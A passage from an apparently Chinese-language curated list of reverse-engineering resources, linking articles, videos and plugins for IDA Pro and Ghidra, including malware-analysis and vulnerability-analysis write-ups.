Pro调试so,附加完毕,跳到目标so基址,但是内容都是DCB伪指令?](https://bbs.pediy.com/thread-222646.htm) - 2017.11 [OALabs] [IDA Pro Malware Analysis Tips](https://www.youtube.com/watch?v=qCQRKLaz2nQ) - 2017.10 [hexblog] [IDA and common Python issues](http://www.hexblog.com/?p=1132) - 2017.10 [pediy] [[分享]IDA + VMware 调试win7 x64](https://bbs.pediy.com/thread-221884.htm) - 2017.06 [pediy] [[翻译]IDA Hex-Rays反编译器使用的一些小技巧](https://bbs.pediy.com/thread-218780.htm) - 2017.06 [qmemcpy] [IDA series, part 2: debugging a .NET executable](https://qmemcpy.io/post/ida-series-2-debugging-net) - 2017.06 [qmemcpy] [IDA series, part 1: the Hex-Rays decompiler](https://qmemcpy.io/post/ida-series-1-hex-rays) ### <a id="a4bd25d3dc2f0be840e39674be67d66b"></a>Tips&&Tricks - 2019.07 [kienbigmummy] [Cách export data trong IDA](https://medium.com/p/d4c8128704f) - 2019.07 [hexacorn] [Batch decompilation with IDA / Hex-Rays Decompiler](http://www.hexacorn.com/blog/2019/07/04/batch-decompilation-with-ida-hex-rays-decompiler/) - 2019.06 [openanalysis] [Disable ASLR for Easier Malware Debugging With x64dbg and IDA Pro](https://oalabs.openanalysis.net/2019/06/12/disable-aslr-for-easier-malware-debugging/) - 2019.06 [OALabs] [Disable ASLR For Easier Malware Debugging With x64dbg and IDA Pro](https://www.youtube.com/watch?v=DGX7oZvdmT0) - 2019.06 [openanalysis] [Reverse Engineering C++ Malware With IDA Pro: Classes, Constructors, and Structs](https://oalabs.openanalysis.net/2019/06/03/reverse-engineering-c-with-ida-pro-classes-constructors-and-structs/) - 2019.06 [OALabs] [Reverse Engineering C++ Malware With IDA Pro](https://www.youtube.com/watch?v=o-FFGIloxvE) - 2019.03 [aliyun] [IDA Pro7.0使用技巧总结](https://xz.aliyun.com/t/4205) - 2018.06 [checkpoint] [Scriptable Remote Debugging with Windbg and IDA Pro](https://research.checkpoint.com/scriptable-remote-debugging-windbg-ida-pro/) - 2015.07 [djmanilaice] [在PyCharm中编写IDAPython脚本时自动提示](http://djmanilaice.blogspot.com/2015/07/pycharm-for-your-ida-development.html) - 2015.07 [djmanilaice] [使用IDA自动打开当前目录下的DLL和EXE](http://djmanilaice.blogspot.com/2015/07/auto-open-dlls-and-exe-in-current.html) ### <a id="04cba8dbb72e95d9c721fe16a3b48783"></a>系列文章-Labeless插件介绍 - 2018.10 [checkpoint] [Labeless Part 6: How to Resolve Obfuscated API Calls in the Ngioweb Proxy Malware - Check Point Research](https://research.checkpoint.com/labeless-part-6-how-to-resolve-obfuscated-api-calls-in-the-ngioweb-proxy-malware/) - 2018.10 [checkpoint] [Labeless Part 5: How to Decrypt Strings in Boleto Banking Malware Without Reconstructing Decryption Algorithm. - Check Point Research](https://research.checkpoint.com/labeless-part-5-how-to-decrypt-strings-in-boleto-banking-malware-without-reconstructing-decryption-algorithm/) - 2018.10 [checkpoint] [Labeless Part 4: Scripting - Check Point Research](https://research.checkpoint.com/labeless-part-4-scripting/) - 2018.08 [checkpoint] [Labeless Part 3: How to Dump and Auto-Resolve WinAPI Calls in LockPos Point-of-Sale Malware - Check Point Research](https://research.checkpoint.com/19558-2/) - 2018.08 [checkpoint] [Labeless Part 2: Installation - Check Point Research](https://research.checkpoint.com/installing-labeless/) - 2018.08 [checkpoint] [Labeless Part 1: An Introduction - Check Point Research](https://research.checkpoint.com/labeless-an-introduction/) ### <a id="1a2e56040cfc42c11c5b4fa86978cc19"></a>系列文章-使用IDA从零开始学逆向 - 2019.11 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P25)](https://medium.com/p/304110bdf635) - 2019.10 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P24)](https://medium.com/p/66451e50163e) - 2019.10 [tradahacking] [REVERSING WITH IDA FROM SCRATCH (P23)](https://medium.com/p/a03897f960be) - 2019.09 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P21)](https://medium.com/p/17ce2ee804af) - 2019.08 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P20)](https://medium.com/p/adc2bad58cc3) - 2019.08 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P19)](https://medium.com/p/b8a5ccc0efbc) - 2019.07 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P18)](https://medium.com/p/b9b5987eea22) - 2019.07 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P17)](https://medium.com/p/13aae3c33824) - 2019.06 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P16)](https://medium.com/p/66c697636724) - 2019.06 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P15)](https://medium.com/p/9bb2bbdf6fbc) - 2019.05 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P14)](https://medium.com/p/fd20c144c844) - 2019.05 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P13)](https://medium.com/p/adc88403c295) - 2019.04 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P12)](https://medium.com/p/6b19df3db60e) - 2019.04 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P11)](https://medium.com/p/34e6214132d6) - 2019.03 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P10)](https://medium.com/p/f054072cc4cd) - 2019.03 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P9)](https://medium.com/p/3ead456499d2) - 2019.03 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P8)](https://medium.com/p/c627c70b5efd) - 2019.03 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P7)](https://medium.com/p/986cb6c09405) - 2019.03 [tradahacking] [REVERSING WITH IDA FROM SCRATCH (P6)](https://medium.com/p/ec232b87a091) - 2019.03 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P5)](https://medium.com/p/f153835b4ffc) ### <a id="e838a1ecdcf3d068547dd0d7b5c446c6"></a>系列文章-IDAPython-让你的生活更美好 #### <a id="7163f7c92c9443e17f3f76cc16c2d796"></a>原文 - 2016.06 [paloaltonetworks] [ Using IDAPython to Make Your Life Easier, Part6](https://unit42.paloaltonetworks.com/unit42-using-idapython-to-make-your-life-easier-part-6/) - 2016.01 [paloaltonetworks] [ Using IDAPython to Make Your Life Easier, Part5](https://unit42.paloaltonetworks.com/using-idapython-to-make-your-life-easier-part-5/) - 2016.01 [paloaltonetworks] [ Using IDAPython to Make Your Life Easier, Part4](https://unit42.paloaltonetworks.com/using-idapython-to-make-your-life-easier-part-4/) - 2016.01 [paloaltonetworks] [ Using IDAPython to Make Your Life Easier, Part3](https://unit42.paloaltonetworks.com/using-idapython-to-make-your-life-easier-part-3/) - 2015.12 [paloaltonetworks] [ Using IDAPython to Make Your Life Easier, Part2](https://unit42.paloaltonetworks.com/using-idapython-to-make-your-life-easier-part-2/) - 2015.12 [paloaltonetworks] [ Using IDAPython to Make Your Life Easier, Part1](https://unit42.paloaltonetworks.com/using-idapython-to-make-your-life-easier-part-1/) #### <a id="fc62c644a450f3e977af313edd5ab124"></a>译文 - 2016.01 [freebuf] [IDAPython:让你的生活更美好(五)](http://www.freebuf.com/articles/system/93440.html) - 2016.01 [freebuf] [IDAPython:让你的生活更美好(四)](http://www.freebuf.com/articles/system/92505.html) - 2016.01 [freebuf] [IDAPython:让你的生活更美好(三)](http://www.freebuf.com/articles/system/92488.html) - 2016.01 [freebuf] [IDAPython:让你的生活更美好(二)](http://www.freebuf.com/sectool/92168.html) - 2016.01 [freebuf] [IDAPython:让你的生活更美好(一)](http://www.freebuf.com/sectool/92107.html) ### <a id="8433dd5df40aaf302b179b1fda1d2863"></a>系列文章-使用IDA逆向C代码 - 2019.01 [ly0n] [Reversing C code with IDA part V](https://paumunoz.tech/2019/01/12/reversing-c-code-with-ida-part-v/) - 2019.01 [ly0n] [Reversing C code with IDA part IV](https://paumunoz.tech/2019/01/07/reversing-c-code-with-ida-part-iv/) - 2019.01 [ly0n] [Reversing C code with IDA part III](https://paumunoz.tech/2019/01/02/reversing-c-code-with-ida-part-iii/) - 2018.12 [ly0n] [Reversing C code with IDA part II](https://paumunoz.tech/2018/12/31/reversing-c-code-with-ida-part-ii/) - 2018.01 [ly0n] [Reversing C code with IDA part I](https://paumunoz.tech/2018/01/11/reversing-c-code-with-ida-part-i/) ### <a id="3d3bc775abd7f254ff9ff90d669017c9"></a>工具&&插件&&脚本介绍 #### <a id="cd66794473ea90aa6241af01718c3a7d"></a>未分类 - 2019.10 [vmray] [VMRay IDA Plugin v1.1: Streamlining Deep-Dive Malware Analysis](https://www.vmray.com/cyber-security-blog/vmray-ida-plugin-v1-1-streamlining-deep-dive-malware-analysis/) - 2019.10 [talosintelligence] [New IDA Pro plugin provides TileGX support](https://blog.talosintelligence.com/2019/10/new-ida-pro-plugin-provides-tilegx.html) - 2019.09 [talosintelligence] [GhIDA: Ghidra decompiler for IDA Pro](https://blog.talosintelligence.com/2019/09/ghida.html) - 2019.05 [carbonblack] [fn_fuzzy: Fast Multiple Binary Diffing Triage with IDA](https://www.carbonblack.com/2019/05/09/fn_fuzzy-fast-multiple-binary-diffing-triage-with-ida/) - 2019.04 [] [climacros – IDA productivity tool](http://0xeb.net/2019/04/climacros-ida-productivity-tool/) - 2019.04 [] [QScripts – IDA Scripting productivity tool](http://0xeb.net/2019/04/ida-qscripts/) - 2019.03 [] [Daenerys: IDA Pro and Ghidra interoperability framework](http://0xeb.net/2019/03/daenerys-ida-pro-and-ghidra-interoperability-framework/) - 2019.03 [freebuf] [Ponce:一键即可实现符号执行(IDA插件)](https://www.freebuf.com/sectool/197708.html) - 2019.02 [kitploit] [HexRaysCodeXplorer - Hex-Rays Decompiler Plugin For Better Code Navigation](https://www.kitploit.com/2019/02/hexrayscodexplorer-hex-rays-decompiler.html) - 2019.02 [kitploit] [Ponce - IDA Plugin For Symbolic Execution Just One-Click Away!](https://www.kitploit.com/2019/02/ponce-ida-plugin-for-symbolic-execution.html) - 2019.01 [talosintelligence] [Dynamic Data Resolver (DDR) - IDA Plugin](https://blog.talosintelligence.com/2019/01/ddr.html) - 2018.12 [securityonline] [HexRaysCodeXplorer: Hex-Rays Decompiler plugin for better code navigation](https://securityonline.info/codexplorer/) - 2018.11 [4hou] [FLARE脚本系列:使用idawasm IDA Pro插件逆向WebAssembly(Wasm)模块](http://www.4hou.com/reverse/13935.html) - 2018.10 [aliyun] [用idawasm IDA Pro逆向WebAssembly模块](https://xz.aliyun.com/t/2854) - 2018.10 [fireeye] [FLARE Script Series: Reverse Engineering WebAssembly Modules Using the idawasm IDA Pro Plugin](https://www.fireeye.com/blog/threat-research/2018/10/reverse-engineering-webassembly-modules-using-the-idawasm-ida-pro-plugin.html) - 2018.10 [vmray] [Introducing the IDA Plugin for VMRay Analyzer](https://www.vmray.com/cyber-security-blog/ida-plugin-vmray-analyzer/) - 2018.10 [aliyun] [IDA-minsc在Hex-Rays插件大赛中获得第二名(2)](https://xz.aliyun.com/t/2842) - 2018.10 [aliyun] [IDA-minsc在Hex-Rays插件大赛中获得第二名(1)](https://xz.aliyun.com/t/2841) - 2018.10 [aliyun] [通过两个IDAPython插件支持A12 PAC指令和iOS12 kernelcache 重定位](https://xz.aliyun.com/t/2839) - 2018.09 [ptsecurity] [How we developed the NIOS II processor module for IDA Pro](http://blog.ptsecurity.com/2018/09/how-we-developed-nios-ii-processor.html) #### <a id="43a4761e949187bf737e378819752c3b"></a>Loader&&Processor - 2019.03 [360] [为CHIP-8编写IDA processor module](https://www.anquanke.com/post/id/172217/) - 2018.10 [ptsecurity] [Modernizing IDA Pro: how to make processor module glitches go away](http://blog.ptsecurity.com/2018/10/modernizing-ida-pro-how-to-make.html) - 2018.08 [360] [Lua程序逆向之为Luac编写IDA Pro处理器模块](https://www.anquanke.com/post/id/153699/) #### <a id="c7483f3b20296ac68084a8c866230e15"></a>与其他工具交互 - 2018.09 [dustri] [IDAPython vs. r2pipe](https://dustri.org/b/idapython-vs-r2pipe.html) ### <a id="ea11818602eb33e8b165eb18d3710965"></a>翻译-TheIDAProBook - 2008.10 [pediy] [[翻译]The IDA Pro Book 第六章](https://bbs.pediy.com/thread-75632.htm) - 2008.10 [pediy] [[翻译](20081030更新)The IDA Pro Book 第12章:使用FLIRT签名识别库](https://bbs.pediy.com/thread-75422.htm) - 2008.10 [pediy] [[翻译]The IDA Pro Book(第二章)](https://bbs.pediy.com/thread-74943.htm) - 2008.10 [pediy] [[翻译]The IDA Pro book 第5章---IDA DATA DISPLAY](https://bbs.pediy.com/thread-74838.htm) - 2008.10 [pediy] [[翻译]The IDA Pro Book(第一章)](https://bbs.pediy.com/thread-74564.htm) ### <a id="ec5f7b9ed06500c537aa25851a3f2d3a"></a>翻译-ReverseEngineeringCodeWithIDAPro - 2009.01 [pediy] [[原创]Reverse Engineering Code with IDA Pro第七章中文译稿](https://bbs.pediy.com/thread-80580.htm) - 2008.06 [pediy] [[翻译]Reverse Engineering Code with IDA Pro(第一、二章)](https://bbs.pediy.com/thread-66010.htm) ### <a id="2120fe5420607a363ae87f5d2fed459f"></a>IDA本身 - 2019.01 [pediy] [[原创]IDA7.2安装包分析](https://bbs.pediy.com/thread-248989.htm) - 2019.01 [pediy] [[原创]IDA 在解析 IA64 中的 brl 指令时存在一个 Bug](https://bbs.pediy.com/thread-248983.htm) - 2018.11 [hexblog] [IDA 7.2 – The Mac Rundown](http://www.hexblog.com/?p=1300) - 2018.10 [pediy] [[原创] 修复 IDA Pro 7.0在macOS Mojave崩溃的问题](https://bbs.pediy.com/thread-247334.htm) ### <a id="d8e48eb05d72db3ac1e050d8ebc546e1"></a>逆向实战 #### <a id="374c6336120363a5c9d9a27d7d669bf3"></a>未分类 - 2019.11 [4hou] [反作弊游戏如何破解,看看《黑色沙漠》逆向分析过程:使用 IDAPython 和 FLIRT 签名恢复 IAT](https://www.4hou.com/web/21806.html) - 2019.11 [aliyun] [使用IDA microcode去除ollvm混淆(下)](https://xz.aliyun.com/t/6795) - 2019.06 [devco] [破密行動: 以不尋常的角度破解 IDA Pro 偽隨機數](https://devco.re/blog/2019/06/21/operation-crack-hacking-IDA-Pro-installer-PRNG-from-an-unusual-way/) - 2019.05 [360] [IDAPython实战项目——DES算法识别](https://www.anquanke.com/post/id/177808/) - 2019.04 [venus] [使用 IDA Pro 的 REobjc 模块逆向 Objective-C 二进制文件](https://paper.seebug.org/887/) - 2019.01 [ly0n] [Cracking with IDA (redh@wk 2.5 crackme)](https://paumunoz.tech/2019/01/05/cracking-with-ida-redhwk-2-5-crackme/) - 2018.11 [somersetrecon] [Introduction to IDAPython for Vulnerability Hunting - Part 2](http://www.somersetrecon.com/blog/2018/8/2/idapython-part-2) - 2018.11 [pediy] [[原创]IDA动态调试ELF](https://bbs.pediy.com/thread-247830.htm) - 2018.06 [pediy] [[翻译]在IDA中使用Python Z3库来简化函数中的算术运算](https://bbs.pediy.com/thread-228688.htm) - 2018.03 [duo] [Reversing Objective-C Binaries With the REobjc Module for IDA Pro](https://duo.com/blog/reversing-objective-c-binaries-with-the-reobjc-module-for-ida-pro) - 2006.05 [pediy] [Themida v1008 驱动程序分析,去除花指令的 IDA 文件](https://bbs.pediy.com/thread-25836.htm) #### <a id="0b3e1936ad7c4ccc10642e994c653159"></a>恶意代码分析 - 2019.04 [360] [两种姿势批量解密恶意驱动中的上百条字串](https://www.anquanke.com/post/id/175964/) - 2019.03 [cyber] [使用IDAPython分析Trickbot](https://cyber.wtf/2019/03/22/using-ida-python-to-analyze-trickbot/) - 2019.01 [OALabs] [Lazy String Decryption Tips With IDA PRO and Shade Ransomware Unpacked!](https://www.youtube.com/watch?v=RfnuMhosxuQ) - 2018.09 [4hou] [Hidden Bee恶意软件家族的定制IDA装载模块开发](http://www.4hou.com/technology/13438.html) - 2018.09 [4hou] [用IDAPython解密Gootkit中的字符串](http://www.4hou.com/technology/13209.html) - 2018.05 [OALabs] [Unpacking Gootkit Part 2 - Debugging Anti-Analysis Tricks With IDA Pro and x64dbg](https://www.youtube.com/watch?v=QgUlPvEE4aw) - 2018.04 [OALabs] [Unpacking VB6 Packers With IDA Pro and API Hooks (Re-Upload)](https://www.youtube.com/watch?v=ylWInOcQy2s) - 2018.03 [OALabs] [Unpacking Gootkit Malware With IDA Pro and X64dbg - Subscriber Request](https://www.youtube.com/watch?v=242Tn0IL2jE) - 2018.01 [OALabs] [Unpacking Pykspa Malware With Python and IDA Pro - Subscriber Request Part 1](https://www.youtube.com/watch?v=HfSQlC76_s4) - 2017.11 [OALabs] [Unpacking Process Injection Malware With IDA PRO (Part 2)](https://www.youtube.com/watch?v=kdNQhfgoQoU) - 2017.11 [OALabs] [Unpacking Process Injection Malware With IDA PRO (Part 1)](https://www.youtube.com/watch?v=ScBB-Hi7NxQ) - 2017.06 [hackers] [Reverse Engineering Malware, Part 3: IDA Pro Introduction](https://www.hackers-arise.com/single-post/2017/06/22/Reverse-Engineering-Malware-Part-3-IDA-Pro-Introduction) - 2017.05 [4hou] [逆向分析——使用IDA动态调试WanaCrypt0r中的tasksche.exe](http://www.4hou.com/technology/4832.html) - 2017.05 [3gstudent] [逆向分析——使用IDA动态调试WanaCrypt0r中的tasksche.exe](https://3gstudent.github.io/3gstudent.github.io/%E9%80%86%E5%90%91%E5%88%86%E6%9E%90-%E4%BD%BF%E7%94%A8IDA%E5%8A%A8%E6%80%81%E8%B0%83%E8%AF%95WanaCrypt0r%E4%B8%AD%E7%9A%84tasksche.exe/) - 2012.06 [trustwave] [使用IDAPython对Flame的字符串进行反混淆](https://www.trustwave.com/Resources/SpiderLabs-Blog/Defeating-Flame-String-Obfuscation-with-IDAPython/) #### <a id="03465020d4140590326ae12c9601ecfd"></a>漏洞分析&&挖掘 - 2018.07 [360] [如何使用 IDAPython 寻找漏洞](https://www.anquanke.com/post/id/151898/) - 2018.07 [somersetrecon] [如何使用IDAPython挖掘漏洞](http://www.somersetrecon.com/blog/2018/7/6/introduction-to-idapython-for-vulnerability-hunting) ### <a id="e9ce398c2c43170e69c95fe9ad8d22fc"></a>Microcode - 2019.10 [amossys] [探秘Hex-Rays microcode](https://blog.amossys.fr/stage-2019-hexraysmicrocode.html) ### <a id="9c0ec56f402a2b9938417f6ecbaeaa72"></a>IDA对抗 - 2019.05 [aliyun] [混淆IDA F5的一个小技巧-x86](https://xz.aliyun.com/t/5062) # <a id="319821036a3319d3ade5805f384d3165"></a>Ghidra *** ## <a id="fa45b20f6f043af1549b92f7c46c9719"></a>插件&&脚本 ### <a id="2ae406afda6602c8f02d73678b2ff040"></a>Ghidra - [**18649**星][2d] [Java] [nationalsecurityagency/ghidra](https://github.com/nationalsecurityagency/ghidra) 软件逆向框架 ### <a id="ce70b8d45be0a3d29705763564623aca"></a>新添加的 - [**455**星][8m] [YARA] [ghidraninja/ghidra_scripts](https://github.com/ghidraninja/ghidra_scripts) Ghidra脚本 - [binwalk](https://github.com/ghidraninja/ghidra_scripts/blob/master/binwalk.py) 对当前程序运行BinWalk, 标注找到的内容 - [yara](https://github.com/ghidraninja/ghidra_scripts/blob/master/yara.py) 使用Yara查找加密常量 - [swift_demangler](https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py) 自动demangle Swift函数名 - [golang_renamer](https://github.com/ghidraninja/ghidra_scripts/blob/master/golang_renamer.py) 恢复stripped Go二进制文件的函数名 - [**204**星][7m] [Java] [rolfrolles/ghidrapal](https://github.com/rolfrolles/ghidrapal) Ghidra 程序分析库(无文档) ### <a id="69dc4207618a2977fe8cd919e7903fa5"></a>特定分析目标 #### <a id="da5d2b05da13f8e65aa26d6a1c95a8d0"></a>未分类 #### <a id="058bb9893323f337ad1773725d61f689"></a>Loader&&Processor #### <a id="51a2c42c6d339be24badf52acb995455"></a>Xbox ### <a id="99e3b02da53f1dbe59e0e277ef894687"></a>与其他工具交互 #### <a id="5923db547e1f04f708272543021701d2"></a>未分类 #### <a id="e1cc732d1388084530b066c26e24887b"></a>Radare2 #### <a id="d832a81018c188bf585fcefa3ae23062"></a>IDA - [**299**星][4m] [Py] [cisco-talos/ghida](https://github.com/cisco-talos/ghida) 在IDA中集成Ghidra反编译器 - 重复区段: [IDA->插件->导入导出->Ghidra](#c7066b0c388cd447e980bf0eb38f39ab) | - [**238**星][9m] [Py] [daenerys-sre/source](https://github.com/daenerys-sre/source) 使IDA和Ghidra脚本通用, 无需修改 - 重复区段: [IDA->插件->导入导出->Ghidra](#c7066b0c388cd447e980bf0eb38f39ab) | #### <a id="60e86981b2c98f727587e7de927e0519"></a>DBI #### <a id="e81053b03a859e8ac72f7fe79e80341a"></a>调试器 ### <a id="cccbd06c6b9b03152d07a4072152ae27"></a>外观&&主题 ### <a id="45910c8ea12447df9cdde2bea425f23f"></a>脚本编写 #### <a id="c12ccb8e11ba94184f8f24767eb64212"></a>其他 #### <a id="b24e162720cffd2d2456488571c1a136"></a>编程语言 *** ## <a id="273df546f1145fbed92bb554a327b87a"></a>文章&&视频 ### <a id="8962bde3fbfb1d1130879684bdf3eed0"></a>新添加的1 ### <a id="ce49901b4914f3688ef54585c8f9df1a"></a>新添加的 - 2019.09 [dustri] [Radare2, IDA Pro, and Binary ninja, a metaphoric comparison](https://dustri.org/b/radare2-ida-pro-and-binary-ninja-a-metaphoric-comparison.html) - 2019.05 [vimeo] [Three Heads are Better Than One: Mastering Ghidra - Alexei Bulazel, Jeremy Blackthorne - INFILTRATE 2019](https://vimeo.com/335158460) - 2019.04 [X0x6d696368] [Ghidra: Stack Depth (to detect stack manipulation)](https://www.youtube.com/watch?v=hP9FQrD61tk) - 2019.04 [X0x6d696368] [Ghidra: Version Tracking](https://www.youtube.com/watch?v=K83T7iVla5s) - 2019.04 [X0x6d696368] [Ghidra: Export Symbols and Load External Libraries (to resolve imported function names)](https://www.youtube.com/watch?v=Avn8s7iW3Rc) - 2019.04 [X0x6d696368] [Ghidra: Data Type Manager / Archives and Parse C Source... (resolve function signatures)](https://www.youtube.com/watch?v=u15-r5Erfnw) - 2019.04 [X0x6d696368] [Ghidra: Generate Checksum... (to extract hashes of embedded malware artifacts)](https://www.youtube.com/watch?v=vLG7c5Eae0s) - 2019.04 [msreverseengineering] [An Abstract Interpretation-Based Deobfuscation Plugin for Ghidra](https://www.msreverseengineering.com/blog/2019/4/17/an-abstract-interpretation-based-deobfuscation-plugin-for-ghidra) - 2019.04 [X0x6d696368] [Ghidra: FunctionID (to identify libraries and code reuse)](https://www.youtube.com/watch?v=P8Ul2K7pEfU) - 2019.04 [X0x6d696368] [Ghidra: Server / Shared Projects (using ghidra-server.org)](https://www.youtube.com/watch?v=ka4vGxLmr4w) - 2019.04 [X0x6d696368] [Ghidra: Bytes View (to patch binary and export to a working PE file)](https://www.youtube.com/watch?v=utUqAbfURko) - 2019.04 [X0x6d696368] [Ghidra: Fixing Bugs (Fixing PE section import size alignment)](https://www.youtube.com/watch?v=vpt7-Hn-Uhg) - 2019.04 [X0x6d696368] [Ghidra: Clear Flow and Repair, and Patch Instruction (to defeat anti-disassembly)](https://www.youtube.com/watch?v=H9DyLQ2iuyE) - 2019.04 [X0x6d696368] [Ghidra: Scripting (Python) (a quick introduction by implementing pipeDecoder.py)](https://www.youtube.com/watch?v=WLXlq3lvUGs) - 2019.04 [X0x6d696368] [Ghidra: Decompile and compile (to quickly reimplement malware decoding functions)](https://www.youtube.com/watch?v=YuwOgBDt_b4) - 2019.04 [X0x6d696368] [Ghidra: EditBytesScript (to fix/manipulate PE header to load ShadowHammer setup.exe sample)](https://www.youtube.com/watch?v=7__tiVMPIEE) - 2019.04 [X0x6d696368] [Ghidra: Extract and Import ... (to extract resources from PE binaries)](https://www.youtube.com/watch?v=M19ZSTAgubI) - 2019.04 [X0x6d696368] [Ghidra: YaraGhidraGUIScript (to generate a YARA signature for threat/retro hunting)](https://www.youtube.com/watch?v=tBvxVkJrkh0) - 2019.04 [X0x6d696368] [Ghidra: XORMemoryScript (to XOR decode strings)](https://www.youtube.com/watch?v=vPqs7E_nhdQ) - 2019.04 [yoroi] [Ghidra SRE: The AZORult Field Test](https://blog.yoroi.company/research/ghidra-sre-the-azorult-field-test/) ### <a id="b7fb955b670df2babc67e5942297444d"></a>Ghidra漏洞 - 2019.10 [securityaffairs] [Ghidra 9.0.4及之前版本的代码执行漏洞](https://securityaffairs.co/wordpress/92280/hacking/ghidra-code-execution-flaw.html) - 2019.10 [4hou] [CVE-2019-16941: NSA Ghidra工具RCE漏洞](https://www.4hou.com/info/news/20698.html) - 2019.08 [hackertor] [Ghidra (Linux) 9.0.4 Arbitrary Code Execution](https://hackertor.com/2019/08/12/ghidra-linux-9-0-4-arbitrary-code-execution/) - 2019.08 [kitploit] [Ghidra (Linux) 9.0.4 Arbitrary Code Execution](https://exploit.kitploit.com/2019/08/ghidra-linux-904-arbitrary-code.html) - 2019.07 [hackertor] [NA – CVE-2019-13623 – In NSA Ghidra through 9.0.4, path traversal can…](https://hackertor.com/2019/07/17/na-cve-2019-13623-in-nsa-ghidra-through-9-0-4-path-traversal-can/) - 2019.07 [hackertor] [NA – CVE-2019-13625 – NSA Ghidra before 9.0.1 allows XXE when a…](https://hackertor.com/2019/07/17/na-cve-2019-13625-nsa-ghidra-before-9-0-1-allows-xxe-when-a/) - 2019.03 [venus] [Ghidra 从 XXE 到 RCE](https://paper.seebug.org/861/) - 2019.03 [tencent] [Ghidra 从 XXE 到 RCE](https://xlab.tencent.com/cn/2019/03/18/ghidra-from-xxe-to-rce/) ### <a id="dd0d49a5e6bd34b372d9bbf4475e8024"></a>实战分析 #### <a id="f0ab053d7a282ab520c3a327fc91ba2e"></a>未分类 - 2019.09 [venus] [使用 Ghidra 对 iOS 应用进行 msgSend 分析](https://paper.seebug.org/1037/) - 2019.09 [4hou] [使用Ghidra对iOS应用进行msgSend分析](https://www.4hou.com/system/20326.html) - 2019.09 [WarrantyVoider] [X360 XEX Decompiling With Ghidra](https://www.youtube.com/watch?v=coGz0f7hHTM) - 2019.08 [WarrantyVoider] [N64 ROM Decompiling With Ghidra - N64LoaderWV](https://www.youtube.com/watch?v=3d3a39LuCwc) - 2019.08 [4hou] [基于Ghidra和Neo4j的RPC分析技术](https://www.4hou.com/technology/19730.html) - 2019.04 [X0x6d696368] [Ghidra: Search Program Text... (to find XOR decoding functions in malware)](https://www.youtube.com/watch?v=MaxwIxrmrWY) - 2019.04 [shogunlab] [Here Be Dragons: Reverse Engineering with Ghidra - Part 0 [Main Windows & CrackMe]](https://www.shogunlab.com/blog/2019/04/12/here-be-dragons-ghidra-0.html) - 2019.03 [GhidraNinja] [Reverse engineering with #Ghidra: Breaking an embedded firmware encryption scheme](https://www.youtube.com/watch?v=4urMITJKQQs) - 2019.03 [GhidraNinja] [Ghidra quickstart & tutorial: Solving a simple crackme](https://www.youtube.com/watch?v=fTGTnrgjuGA) #### <a id="375c75af4fa078633150415eec7c867d"></a>漏洞分析&&挖掘 - 2019.11 [4hou] [使用Ghidra对WhatsApp VOIP Stack 溢出漏洞的补丁对比分析](https://www.4hou.com/vulnerable/21141.html) - 2019.09 [4hou] [利用Ghidra分析TP-link M7350 4G随身WiFi的RCE漏洞](https://www.4hou.com/vulnerable/20267.html) - 2019.08 [aliyun] [CVE-2019-12103 使用Ghidra分析TP-Link M7350上的预认证RCE](https://xz.aliyun.com/t/6017) #### <a id="4e3f53845efe99da287b2cea1bdda97c"></a>恶意代码 - 2019.06 [dawidgolak] [IcedID aka #Bokbot Analysis with Ghidra.](https://medium.com/p/560e3eccb766) - 2019.04 [aliyun] [利用Ghidra分析恶意软件Emotet](https://xz.aliyun.com/t/4931) - 2019.04 [X0x6d696368] [Ghidra: Shadow Hammer (Stage 1: Setup.exe) complete static Analysis](https://www.youtube.com/watch?v=gI0nZR4z7_M) - 2019.04 [X0xd0cf11e] [Analyzing Emotet with Ghidra — Part 2](https://medium.com/p/9efbea374b14) - 2019.04 [X0x6d696368] [Ghidra: Android APK (it's basically dex2jar with a .dex decompiler)](https://www.youtube.com/watch?v=At_T6riSb9A) - 2019.04 [X0xd0cf11e] [Analyzing Emotet with Ghidra — Part 1](https://medium.com/p/4da71a5c8d69) - 2019.03 [GhidraNinja] [Reversing WannaCry Part 1 - Finding the killswitch and unpacking the malware in #Ghidra](https://www.youtube.com/watch?v=Sv8yu12y5zM) - 2019.03 [HackerSploit] [Malware Analysis With Ghidra - Stuxnet Analysis](https://www.youtube.com/watch?v=TJhfnItRVOA) - 2019.03 [sans] [Analysing meterpreter payload with Ghidra](https://isc.sans.edu/forums/diary/Analysing+meterpreter+payload+with+Ghidra/24722/) ### <a id="92f60c044ed13b3ffde631794edd2756"></a>其他 ### <a id="4bfa6dcf708b3f896870c9d3638c0cde"></a>Tips&&Tricks ### <a id="0d086cf7980f65da8f7112b901fecdc1"></a>工具&&插件&&脚本 - 2019.11 [deadc0de] [使用Python编写Ghidra脚本示例](https://deadc0de.re/articles/ghidra-scripting-python.html) - 2019.04 [X0x6d696368] [ghidra_scripts: RC4Decryptor.py](https://www.youtube.com/watch?v=kXaHrPyZtGs) - 2019.04 [aliyun] [如何开发用于漏洞研究的Ghidra插件,Part 1](https://xz.aliyun.com/t/4723) - 2019.04 [somersetrecon] [Ghidra Plugin Development for Vulnerability Research - Part-1](https://www.somersetrecon.com/blog/2019/ghidra-plugin-development-for-vulnerability-research-part-1) - 2019.03 [wololo] [PS4 release: GhidraPS4Loader and Playstation 4 Flash tool](http://wololo.net/2019/03/18/ps4-release-ghidraps4loader-and-playstation-4-flash-tool/) # <a id="b1a6c053e88e86ce01bbd78c54c63a7c"></a>x64dbg *** ## <a id="b4a856db286f9f29b5a32d477d6b3f3a"></a>插件&&脚本 ### <a 